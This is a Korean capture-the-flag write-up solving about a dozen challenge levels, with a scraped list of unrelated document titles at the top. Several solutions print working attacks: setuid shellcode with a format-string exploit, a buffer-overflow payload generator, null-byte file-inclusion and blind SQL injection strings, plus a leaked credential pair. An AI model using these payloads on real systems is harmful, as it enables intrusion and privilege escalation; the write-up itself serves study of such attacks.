$ret = ""; $socket = fsockopen(" ", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $

Similar documents
Microsoft PowerPoint - chap13-입출력라이브러리.pptx

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

BMP 파일 처리

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

PowerPoint Template

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

Microsoft PowerPoint - chap10-함수의활용.pptx

歯9장.PDF

chap7.key

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

PowerPoint 프레젠테이션

쉽게 풀어쓴 C 프로그래밍

fprintf(fp, "clf; clear; clc; \n"); fprintf(fp, "x = linspace(0, %d, %d)\n ", L, N); fprintf(fp, "U = [ "); for (i = 0; i <= (N - 1) ; i++) for (j = 0

PowerPoint 프레젠테이션

Microsoft PowerPoint - 제9강 문자열

Microsoft PowerPoint - C프로그래밍-chap15.ppt [호환 모드]

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

13 주차문자열의표현과입출력

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070>


제1장 Unix란 무엇인가?

PowerPoint 프레젠테이션

untitled

The Pocket Guide to TCP/IP Sockets: C Version

Microsoft Word - MSOffice_WPS_analysis.doc

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

Microsoft PowerPoint 웹 연동 기술.pptx

Microsoft PowerPoint - [2009] 02.pptx

13주-14주proc.PDF

목차 BUG 문법에맞지않는질의문수행시, 에러메시지에질의문의일부만보여주는문제를수정합니다... 3 BUG ROUND, TRUNC 함수에서 DATE 포맷 IW 를추가지원합니다... 5 BUG ROLLUP/CUBE 절을포함하는질의는 SUBQUE

untitled

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

11장 포인터

PowerPoint 프레젠테이션

: 1 int arr[9]; int n, i; printf(" : "); scanf("%d", &n); : : for(i=1; i<10; i++) arr[i-1] = n * i; for(i=0; i<9; i++) if(i%2 == 1) print

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

C++ Programming

금오공대 컴퓨터공학전공 강의자료

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

K&R2 Reference Manual 번역본

Computer Programming (2008 Fall)

Chapter_06

제1장 Unix란 무엇인가?

1.hwp

1) 인증서만들기 ssl]# cat > // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키

C 언어 프로그래밊 과제 풀이

Microsoft PowerPoint - chap4 [호환 모드]

<4D F736F F F696E74202D2034C5D8BDBAC6AEC6C4C0CFC0D4C3E2B7C2312E505054>

The Pocket Guide to TCP/IP Sockets: C Version

Microsoft PowerPoint - chap11-1.ppt [호환 모드]

1.2 자료형 (data type) 프로그램에서다루는값의형태로변수나함수를정의할때주로사용하며, 컴퓨터는선언된 자료형만큼의메모리를확보하여프로그래머에게제공한다 정수 (integer) 1) int(4 bytes) 연산범위 : (-2 31 ) ~ (2 31 /2)-

PowerPoint 프레젠테이션

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

EA0015: 컴파일러


비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

본 강의에 들어가기 전

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Microsoft PowerPoint - lab14.pptx

Microsoft PowerPoint - CP_02_Convert_To_C_02_Step.pptx

슬라이드 1

vi 사용법

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

Microsoft PowerPoint APUE(Intro).ppt

11장 포인터

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

제목

PowerPoint 프레젠테이션

Microsoft PowerPoint - ch10 - 이진트리, AVL 트리, 트리 응용 pm0600

중간고사

MIC Check 1pt ( pwnable ) 아마도 문제 제목을 저렇게 낸 이유는 공연 전 마이크 테스트를 하는 것처럼 쉬운 것을 하나 풀면서 몸이라도 푸라고 저렇게 정한 게 아닐까 배점은 1 점짜리, pwnable.kr 의 cmd 와 비슷한 문제

강의 개요

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070>

YRRZBRRLMCEQ.hwp

본 강의에 들어가기 전

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

untitled

금오공대 컴퓨터공학전공 강의자료

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

<4D F736F F F696E74202D D20B9AEC0DABFAD2C20BDBAC6AEB8B2B0FA20C6C4C0CF20C0D4C3E2B7C2>

Tcl의 문법

풍문으로들었소팀보고서 hkpco, hellsonic, lokihardt, gogil 페이지 1 / 16

(Microsoft PowerPoint - 07\300\345.ppt [\310\243\310\257 \270\360\265\345])

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2

C 프로그래밊 개요

Microsoft PowerPoint - 10장 문자열 pptx

Microsoft PowerPoint - chap05-제어문.pptx

API 매뉴얼

Microsoft PowerPoint - chap06-1Array.ppt

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap-12.pptx

Microsoft PowerPoint - ch07 - 포인터 pm0415

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

PowerPoint 프레젠테이션

11장 포인터

Microsoft PowerPoint - chap12-고급기능.pptx

PowerPoint 프레젠테이션

Transcription:

The 5eX m2n 푼문제 : O O O X O X X O O X O O O O X O X O O O level1 : parse string Level1은 210:207.246.131 이라는 IP와 8888이라는포트번호가주어진다. 접속하여보면, base64로인코딩된스트링을보여주면서, Plain text를전송하라고한다. Base64된스트링을디코드해보면, beistlab 맴버들의 id가 md5로인코드된스트링들이나온다. 그럼으로다음과같은간단한코드를작성함으로써, 이문제는풀수있다. <? //Coded by Dual5651 (dual@null2root.org)

$ret = ""; $socket = fsockopen("210.207.246.131", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $decode = base64_decode($ret); echo $decode; if($decode == "305e8800b4272bb6a757c7e33c028023") fputs($socket, "eazy"); else if($decode == "44bea1375d673dacfa7038a2a6896ae6") fputs($socket,"hahah"); else if($decode == "1d8176708feb2bb6e4d67d7f08c50493") fputs($socket,"ashine"); else if($decode == "1d8176708feb2bb6e4d67d7f08c50493") fputs($socket,"ashine"); else if($decode == "5f29e63a3f26798930e5bf218445164f") fputs($socket,"osiris"); else if($decode == "a8241dc330c0353ccd8db73244c8bd30") fputs($socket,"oldzombie"); else if($decode == "c5dbbb22d4802b1bdc7a4f35875a280b") fputs($socket,"chpie"); else if($decode == "4e3590b079101462e2a11b163869c62e") fputs($socket,"reddog"); else if($decode == "8f3d0f3fd4a20a1c0f321bb17a6f9042") fputs($socket,"slayer1000"); else if($decode == "12ea7a85a8ad1216074590ce65542774") fputs($socket,"beist"); $ret =""; while(!feof($socket)) $ret.= fgets( $socket, 50 ); echo $ret;?>

level2 :??? level3 : fsb (format string bug) 이번문제는문제에서 argv[0] 을직접출력해주면서생기는 FSB 취약점을공격하는문제로써, 다음과같이 execve() 를이용해서 argv[0] 에쉘코드를넣어줌으로써해결할수있는문제이다. //lower : 1bfff-ff70=C08F(49295) //higher : ff70-328(808)=fc48(64584) int main(int argc,char **argv) int i=0; char buffer[1024]=""; unsigned char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //Nops "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90 \x90\x90\x90" "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid()) "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; sprintf(buffer,"%s%s",argv[1],shellcode); char *argvv[]=buffer,0; execve("/beistcon/filename/filename",argvv,0);

./f `perl -e 'print"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xbc\x95\x04\x08bbbb\xbe\x95\x04\x08ccccccbb bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";print"%8x"x90;print"%64584x%x%49295x%x"'` level5 : keyboard hooking 문제를실행시켜보면혜선이누나가뭔가불만에찬듯한표정의사진이나온다. Char str[] = CXHkPmIzEGKzEWYzSWNmIHFhFmFmYWZzYWRmYQ== ; Int i; if ( a3!= str[i] ) i = 0; goto WRONG; v5 = i + 2; i += 2; if ( v5 >= 25 ) sub_401220();

goto LABEL_8; 코드를보면 2 바이트씩변수를늘리면서글자를읽어오는것을볼수있다. 그래서올바른문자열을완성해보면, CHPIEKEYSNIFFFYZYRY== 이다. 이문자열을메모장에입력하여보면, level8 : file reverse 파일을헥스에디터로열어서보면, 앞부분은다음과같고,

가장아랫부분을보면문자열들이뒤집혀있는것같은모양을볼수있다. 그래서나는다음과같은간단한코드를작성함으로써, 파일을뒤집었다. int main(int argc, char* argv[]) //Coded by Dual5651 (dual@null2root.org) HANDLE hfile,hfile2; DWORD dsize; unsigned char *buffer; unsigned char *reverse; ULONG ovr; long p; hfile =

CreateFile("C:\\mirror.avi",GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NO RMAL,0); printf("hfile : %d\n",hfile); dsize = GetFileSize(hFile,0); dsize -= 0x57; printf("file size : %d\n",dsize); SetFilePointer(hFile,0x57,0,FILE_BEGIN); buffer = (unsigned char *)malloc(dsize + 1); ReadFile(hFile,buffer,dsize,&ovr,0); reverse = (unsigned char *)malloc(dsize + 1); for(long i = 0; i <= dsize; i++) p = dsize - i; reverse[i] = buffer[p]; hfile2 = CreateFile("C:\\outter.avi",GENERIC_WRITE,FILE_SHARE_WRITE,0,OPEN_ALWAYS,FILE_ATTRIBUTE_N ORMAL,0); printf("hfile2 : %d\n",hfile2); SetFilePointer(hFile2,0x57,0,FILE_BEGIN); WriteFile(hFile2,reverse,dsize,&ovr,0); free(buffer); free(reverse); CloseHandle(hFile); CloseHandle(hFile2); getch(); return 0;

Before : After:

level9 : reverse engineering cube 문제의암호화루틴을분석해서 c 코드로표현하여보면다음과같다. for(int i = 0; i < strlen((char *)str) ; i++) chr = str[i]; chr2 = str[(unsigned)(&str[i] + 2 - (ULONG)str) % 13]; tmp = ((chr ^ chr2) + 104); tmp = tmp % 65; x = chr + tmp; encrypt[i] = chr ^ x; for(int k = 0; k < 15; k++) printf("%x ",encrypt[k]); printf("\n"); 다음코드를통해서알아낼수있는규칙은, 다음과같다. X1 Y1 X2 Y2 X3 Y3 X4 Y4 X5 Y5 X6 Y6 X7 X1 을알아냄으로써, x2 를알수있고, x2 를알아낼수있음로 x3 를알아낼수있다는것이다. Y 쪽도마찬가지이다. 이사실을기반으로 x1 과 y1 를특정키로가정함으로써, 나머지바이트 역시알아낼수있을것이다. 다음은이를위해작성해본간단한코드이다. //Coded by Dual5651 (dual@null2root.org) for(char m = 'A'; m < 'z'; m++) for(char n = 'A'; n < 'z'; n++) for(int j = 0; j < 11; j++)

chr = str[j]; x = enc[j] ^ chr; tmp = x - chr; tmp = tmp + 0x41; if(tmp < 0x68) tmp += 0x41; tmp = tmp - 0x68; chr2 = tmp ^ chr; str[(unsigned)(&str[j] + 2 - (ULONG)str) % 13] = chr2; for(int k = 0; k < 15; k++) printf("%c",str[k]); printf("\n"); str[1] = n; str[0] = m; 위의코드를실행시킴으로써, 가능한모든 x1 과 y1 의가정을가지고키스트림을얻어낸후, 그중에가장키처럼보이는것을찾아보니다음과같았다.

마우스메시지처리부를리버싱함으로써, 패스워드를볼수있다. level11 : local file view 이문제는접속하면, index.php 페이지에?file=test 이렇게되있던걸로기억합니다. 실제로 test를입력하면열어주는파일은 test.txt였습니다. 사용자가입력한값에.txt가붙기때문에원하는파일을열수없을거같지만, %00을뒤에붙임으로서원하는파일을열수있었습니다. 그럼으로다음과같은스트링을입력하였습니다.?file=index.php%00

level12 : reverse connect 문제에접속해서소스보기를하면나와있는포트를 nc l p 7777 이런식으로포트를자신의 컴퓨터에열어두면리버스커넥트를걸어와답을알려줍니다. admin/tjrwha fhtepqkqlzh level13 : blind sql injection 먼저멤버전용게시판에가보면, base64로여러번인코드된문자열을두개볼수있습니다. 하나는계속디코드하면, guest가나오고, 두번째것4a1429b036a53a86bb50ce22a88458ac 인데, 첫페이지에있는 new_menu2.jpg 의 name으로 hack_me라고붙어있더군요. 그래서스트링을긁어보니, 4a1429b036a53a86bb50ce22a88458ac = 0lDzOmBi2라는스트링을발견할수있었습니다. 그정보를가지고해당페이지에들어가니, notice.php?no=base64_encode( 문자열 ) 형태의 sql injection 취약점이존재하는페이지를만날수있었습니다. 다음과같은블라인드인젝션쿼리를사용해문제를공략하였습니다. 테이블명 : 1 and (select 1 from board limit 0,1)=1 콜롬명 : 1 and (select substring(concat(1,pass),1,1) from board limit 0,1)=1 1 and (select substring(concat(1,subject),1,1) from board limit 0,1)=1 1 and (select substring(concat(1,no),1,1) from board limit 0,1)=1 패스워드한글자씩뽑아내기 : 1 and 1=(select ascii(substring((select pass from board where no = 1 limit 1),1,1)) > 94) 1 and 1=(select ascii(substring((select pass from board where no = 1 limit 1),2,1)) > 94) 1 and 1=(select ascii(substring((select pass from board where no = 1 limit 1),3,1)) > 94) 95 95 55 53 57 56 53 50 7 5 9 8 5 2 level14 : vigenere chiper

이문제는고전암호화라는힌트가주어졌고, 사용자로부터 8개의키를입력받으며, 암호화된스트링이 BZKEGI,+EISB-VEFWNSML+OW-GLRX=FME. 라는점을볼수있습니다. 키를입력받는암호화방식의대표적인예로는 VIGENERE 암호화알고리즘이있습니다. VIGENERE 암호화알고리즘은키를순차적으로더해가는방식인데, 키가 8글자임으로암호화된문자열에서 8글자인부분을찾고, 그부분의원문을가정함으로써풀수있습니다. 암호화된문자열에서차례대로패스워드가들어가는것을보면, BZKEGI,+EISB-VEFWNSML+OW-GLRX=FME. 123456,+7812-34567812+34-5678=123. VEFWNSML 이부분을 PASSWORD 로가정해서다음과같은코드를돌려보았습니다. //Coded by Dual5651 (dual@null2root.org) char enc[9] = "VEFWNSML"; char dec[9] = "PASSWORD"; char key[9] =""; char encv[9] =""; char decv[9] =""; int main(int argc, char* argv[]) char sub; for(int i = 0; i < 8; i++) encv[i] = enc[i] - 'A'; decv[i] = dec[i] - 'A'; sub = encv[i] - decv[i]; if(sub < 0) sub += 26; key[i] = sub + 'A'; printf("password IS : "); printf("%c",key[6]);

printf("%c",key[7]); printf("%c",key[0]); printf("%c",key[1]); printf("%c",key[2]); printf("%c",key[3]); printf("%c",key[4]); printf("%c",key[5]); printf("\n"); getch(); return 0;

level16 : bof (buffer over flow) 16 번은프로그램이파일을읽어서 GET; 읽을사이즈 \n 내용을읽어서특정버퍼에복사하는 부분에서버퍼오버플로우가발생합니다. 이부분을공략하기위해다음과같은코드를사용할 수있습니다. ( 리턴주소는에그쉘입니다.) #include <stdio.h> Int main(int argc,char **argv) int i; char shellcode[2048]=0,; char dummy[2048]=0,; for(i=0;i<1028;i++) dummy[i]='a'+i%20; dummy[i+1]='\0'; sprintf(shellcode,"%s%s%s","get;10000\n",dummy,"\xe8\xf7\xff\xbf\xffaaaaaaaaaaaa\x00"); FILE *fp; fp = fopen("///tmp/attack", "w"); if(fp == NULL) return; fputs(shellcode, fp); fclose(fp); level18 : cryptography 이문제는처음엔숫자맞추기게임을해야한다. 이것을넘어가면프로그램이임의로만들어낸키를 Decode 해야한다. 암호화알고리즘을분석해서역함수를만들어보았다.

#include "stdafx.h" #include <string.h> #include <conio.h> #include <windows.h> int cdecl swap_bit(int a1) return (unsigned int8)((unsigned int8)((a1 & 0x38) >> 3) (unsigned int8)(8 * (a1 & 7))) (unsigned int8)(a1 & 0xC0); int main(int argc, char* argv[]) int tmp; char *str = "RBTOEnFcKADbLwFTF^"; char decrypted[100] = ""; int key = 663,key2; key2 = key & 0x3F; for(int i = 0; i <= strlen(str); i++) tmp = str[i] + 1; tmp = key2 ^ LOBYTE(tmp); decrypted[i] = swap_bit(tmp); printf("%s\n",decrypted); getch(); return 0; level19 : packet sniffing

level20 : nogada 이것은어떻게설명할방법이없습니다. 그냥노가다로키를바꿔가면서찾으면됩니다. 암호화된문자열의길이를알고있으니, 해당길이내에서만변화시키면서찾으면됩니다. @ye Perfect World of BeistLab